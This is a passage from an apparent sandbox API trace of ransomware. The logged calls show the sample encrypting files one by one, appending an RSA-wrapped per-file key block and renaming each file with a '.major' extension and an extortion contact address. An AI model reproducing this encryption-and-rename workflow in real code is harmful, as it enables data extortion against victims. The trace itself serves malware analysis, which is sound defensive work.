cAlternateFileName="")) returned 1 [0150.734] SetLastError (dwErrCode=0x0) [0150.734] GetLastError () returned 0x0 [0150.734] SetLastError (dwErrCode=0x0) [0150.734] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b90 [0150.734] SetLastError (dwErrCode=0x0) [0150.734] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce18 [0150.734] FindNextFileW (in: hFindFile=0x630c80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x156d660f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x156d660f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x156d660f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0150.734] SetLastError (dwErrCode=0x0) [0150.734] GetLastError () returned 0x0 [0150.734] SetLastError (dwErrCode=0x0) [0150.734] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0150.734] SetLastError (dwErrCode=0x0) [0150.734] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf30 [0150.734] FindNextFileW (in: hFindFile=0x630c80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x156d660f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x156d660f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x156d660f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0150.734] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5becb8 [0150.734] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd00 [0150.735] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0150.735] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\pass.png", dwFileAttributes=0x80) returned 1 [0150.735] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bec60 [0150.735] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0150.735] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\pass.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\pass.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x638 [0150.735] GetFileSizeEx (in: hFile=0x638, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1822) returned 1 [0150.735] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x71e) returned 0x5b5a90 [0150.735] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x71e) returned 0x6518a0 [0150.735] ReadFile (in: hFile=0x638, lpBuffer=0x5b5a90, nNumberOfBytesToRead=0x71e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesRead=0x2e3f9b4*=0x71e, lpOverlapped=0x0) returned 1 [0150.736] SetFilePointer (in: hFile=0x638, lDistanceToMove=-1822, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0150.736] WriteFile (in: hFile=0x638, lpBuffer=0x6518a0*, nNumberOfBytesToWrite=0x71e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6518a0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x71e, lpOverlapped=0x0) returned 1 [0150.737] SetFilePointer (in: hFile=0x638, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x71e [0150.737] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0150.737] WriteFile (in: hFile=0x638, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0150.737] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0150.737] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0150.737] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0150.737] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0150.737] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="3W3+LE1dthDJk1cwphDztB+/QBeQXwP4KsdLg+YV9ydJ79bVMn9ZnGh3FR5Kppvn\nm51Wb0ETl3MDdK5Z055dT2pMjIvBJPaLl0d3/2ZIYK6UYiYgrzOS3rgVtwOnVpyp\nK5ztzecX6LXrWdjLWCYhr2pNWp7QtnL/eZzl2IRm2/WGaUkTmBW3yb9uTPvGAMPm\n4mUUkJ5nuLQ5S/siI0ndXyeMw7OfChO4fyu3VMBAifApGqV5y7kKbym8wUZpbrBm\n0Hf8Y0hn2rdtr2xT3uHPPAB+WKRy/UewwUIq/FDYzk6rsGWMC1RWnWAHY2AqV+FT\n+reW3jxtMuKAr+2DhHizUA==\n", pcchString=0x2e3f9a8) returned 1 [0150.737] WriteFile (in: hFile=0x638, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0150.737] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0150.737] WriteFile (in: hFile=0x638, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0150.737] CloseHandle (hObject=0x638) returned 1 [0150.737] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0150.737] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\pass.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\pass.png"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\pass.png.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\pass.png.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0150.930] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0150.930] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd00 | out: hHeap=0x570000) returned 1 [0150.930] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5becb8 | out: hHeap=0x570000) returned 1 [0150.930] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be630 | out: hHeap=0x570000) returned 1 [0150.930] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0150.930] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf08 [0150.930] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0150.930] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\NoNetworkConnectionHoverOver.png", dwFileAttributes=0x80) returned 1 [0150.931] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7278 [0150.931] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5aff60 [0150.931] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0150.931] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\NoNetworkConnectionHoverOver.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\nonetworkconnectionhoverover.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x638 [0150.931] GetFileSizeEx (in: hFile=0x638, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=2212) returned 1 [0150.931] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8a4) returned 0x6518a0 [0150.931] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8a4) returned 0x652150 [0150.931] ReadFile (in: hFile=0x638, lpBuffer=0x6518a0, nNumberOfBytesToRead=0x8a4, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6518a0*, lpNumberOfBytesRead=0x2e3f9b4*=0x8a4, lpOverlapped=0x0) returned 1 [0150.932] SetFilePointer (in: hFile=0x638, lDistanceToMove=-2212, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0150.933] WriteFile (in: hFile=0x638, lpBuffer=0x652150*, nNumberOfBytesToWrite=0x8a4, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x652150*, lpNumberOfBytesWritten=0x2e3f9b4*=0x8a4, lpOverlapped=0x0) returned 1 [0150.933] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6518a0 | out: hHeap=0x570000) returned 1 [0150.933] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652150 | out: hHeap=0x570000) returned 1 [0150.933] SetFilePointer (in: hFile=0x638, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x8a4 [0150.933] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0150.933] WriteFile (in: hFile=0x638, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0150.933] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0150.933] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0150.933] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0150.933] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0150.933] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="HSbEy/QxL5QzntpDi0hqjwgEu6y2cJPtFcLpOnuBqkyx7NfQLkO1p6wQx8EWnJG3\nyOdGv/UL/dj19jPjkpXHI3+FNtlyG2Ud6on0dZYP4qzKpVmVEdnY7f5Q5U0gpFmr\n4DktRbfRQhGc1AFZh9DZAYdHV+DKLNc1XpTaYXbSG2qdLjoapGBEEwW0zd8hCr0y\nHHlJh3bZOV8YlJ5oacxJY/bmVq2wqJoCrq2pCScujywD45QxHeWhfaqLTE+ydiaE\nU/nU1KsOIgWRChoTVxMtiY2X7zn8dYTp1/tT/yNZ/CA1LJHstBixso/O65kFi1Gj\nTU3oY/fYaLFDP6s+P5ooPA==\n", pcchString=0x2e3f9a8) returned 1 [0150.934] WriteFile (in: hFile=0x638, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0150.934] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0150.934] WriteFile (in: hFile=0x638, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0150.934] CloseHandle (hObject=0x638) returned 1 [0150.934] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0150.934] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\NoNetworkConnectionHoverOver.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\nonetworkconnectionhoverover.png"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\NoNetworkConnectionHoverOver.png.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\nonetworkconnectionhoverover.png.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0150.935] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5aff60 | out: hHeap=0x570000) returned 1 [0150.935] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf08 | out: hHeap=0x570000) returned 1 [0150.936] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0150.936] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0150.936] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cde20 [0150.936] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd28 [0150.936] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0150.936] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\NoNetworkConnection.png", dwFileAttributes=0x80) returned 1 [0150.937] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cde98 [0150.937] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0d68 [0150.937] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x570000) returned 1 [0150.937] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\NoNetworkConnection.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\nonetworkconnection.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x638 [0150.937] GetFileSizeEx (in: hFile=0x638, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=2165) returned 1 [0150.937] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x875) returned 0x6518a0 [0150.937] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x875) returned 0x652120 [0150.937] ReadFile (in: hFile=0x638, lpBuffer=0x6518a0, nNumberOfBytesToRead=0x875, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6518a0*, lpNumberOfBytesRead=0x2e3f9b4*=0x875, lpOverlapped=0x0) returned 1 [0151.000] SetFilePointer (in: hFile=0x638, lDistanceToMove=-2165, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0151.001] WriteFile (in: hFile=0x638, lpBuffer=0x652120*, nNumberOfBytesToWrite=0x875, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x652120*, lpNumberOfBytesWritten=0x2e3f9b4*=0x875, lpOverlapped=0x0) returned 1 [0151.001] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6518a0 | out: hHeap=0x570000) returned 1 [0151.001] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x652120 | out: hHeap=0x570000) returned 1 [0151.001] SetFilePointer (in: hFile=0x638, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x875 [0151.001] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0151.001] WriteFile (in: hFile=0x638, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0151.001] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0151.001] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0151.001] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0151.001] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0151.001] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="V9+KuR9JD4z6rAkNjQitZ2CmBnBLkl7raiKE4yn8Wx3HBSnavphUc0oGstZQuILU\nKRw2VBHjr/WN5jf1EukDQ3V2/5rc0NlHvRcX0yyLKAGzmvbqPZ+ybzvsNvwZxogK\nx6IEOHexm5zoPm3EjS+0H2ZRckYoS69Xyv/kYrbNFnI3wMAqd2ZP5z5PKHl/iNTP\nYKYBe8jUVmJSPvbxzKIAtzW0eoxuas4JCmMZ7paLZ4CW21Picm6PtZ/82Vl+far6\nsEGg3jMlBo8E0FhrlOgTbh44+mUxcsF68cB4DNEi3cIma0fopeSHg5fV6LtIdVvH\ncCME0fkPv5EID2dMADvwFw==\n", pcchString=0x2e3f9a8) returned 1 [0151.001] WriteFile (in: hFile=0x638, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0151.001] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0151.001] WriteFile (in: hFile=0x638, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0151.001] CloseHandle (hObject=0x638) returned 1 [0151.002] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0151.002] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\NoNetworkConnection.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\nonetworkconnection.png"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\NoNetworkConnection.png.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\nonetworkconnection.png.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0151.003] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0d68 | out: hHeap=0x570000) returned 1 [0151.003] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd28 | out: hHeap=0x570000) returned 1 [0151.003] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cde20 | out: hHeap=0x570000) returned 1 [0151.003] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdbc8 | out: hHeap=0x570000) returned 1 [0151.003] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd970 [0151.003] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf30 [0151.003] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0151.003] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\NetworkIssueFAQ.mht", dwFileAttributes=0x80) returned 1 [0151.004] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdad8 [0151.004] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0408 [0151.004] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdad8 | out: hHeap=0x570000) returned 1 [0151.004] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\NetworkIssueFAQ.mht" (normalized: "c:\\windows10upgrade\\resources\\ux\\networkissuefaq.mht"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x638 [0151.004] GetFileSizeEx (in: hFile=0x638, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=622093) returned 1 [0151.004] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x97e0d) returned 0x67d020 [0151.004] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x97e0d) returned 0x3145020 [0151.005] ReadFile (in: hFile=0x638, lpBuffer=0x67d020, nNumberOfBytesToRead=0x97e0d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x67d020*, lpNumberOfBytesRead=0x2e3f9b4*=0x97e0d, lpOverlapped=0x0) returned 1 [0151.102] SetFilePointer (in: hFile=0x638, lDistanceToMove=-622093, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0151.102] WriteFile (in: hFile=0x638, lpBuffer=0x3145020*, nNumberOfBytesToWrite=0x97e0d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3145020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x97e0d, lpOverlapped=0x0) returned 1 [0151.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x67d020 | out: hHeap=0x570000) returned 1 [0151.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x3145020 | out: hHeap=0x570000) returned 1 [0151.104] SetFilePointer (in: hFile=0x638, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x97e0d [0151.104] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0151.104] WriteFile (in: hFile=0x638, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0151.104] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0151.104] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0151.105] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0151.105] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0151.105] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="gjex/mlk8F4uGfY7sTRMEcjqPpcy0lw0WQO8fcweVNfY2lW+NbkTxkXIMcy3Kxs8\nNgQIyBPc2e+qP34tyXH9mNxAhE9PCExRB+WZj8M8qCPeMQN9ZX1AOjh7/9ns3sgI\nh6IpEsV7+GRRTrJoWbXGtVr9rtDPDoIePT5Vl6VaF7ovfDPXGJyUrgIhKAYA1fh5\n0aOyzSTwsKsGnnDP3mvarFDRow/Q8bF05VgqQYtChUjhDNcGzxurWXp/GB3nDcPK\nyPG9C6jbmbSr6JKm6+2wFVa/j4mLrzE6UAC3EQE2Zi0wqYP1eW6bwbQ7opkEcelY\n6/o8FLfSPDVteWl/fQvqug==\n", pcchString=0x2e3f9a8) returned 1 [0151.105] WriteFile (in: hFile=0x638, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0151.105] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0151.105] WriteFile (in: hFile=0x638, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0151.105] CloseHandle (hObject=0x638) returned 1 [0151.105] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0151.105] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\NetworkIssueFAQ.mht" (normalized: "c:\\windows10upgrade\\resources\\ux\\networkissuefaq.mht"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\NetworkIssueFAQ.mht.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\networkissuefaq.mht.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0151.107] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0408 | out: hHeap=0x570000) returned 1 [0151.107] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf30 | out: hHeap=0x570000) returned 1 [0151.107] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd970 | out: hHeap=0x570000) returned 1 [0151.107] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd8f8 | out: hHeap=0x570000) returned 1 [0151.107] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x58eac8 [0151.107] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf80 [0151.107] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0151.107] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\marketing.png", dwFileAttributes=0x80) returned 1 [0151.107] 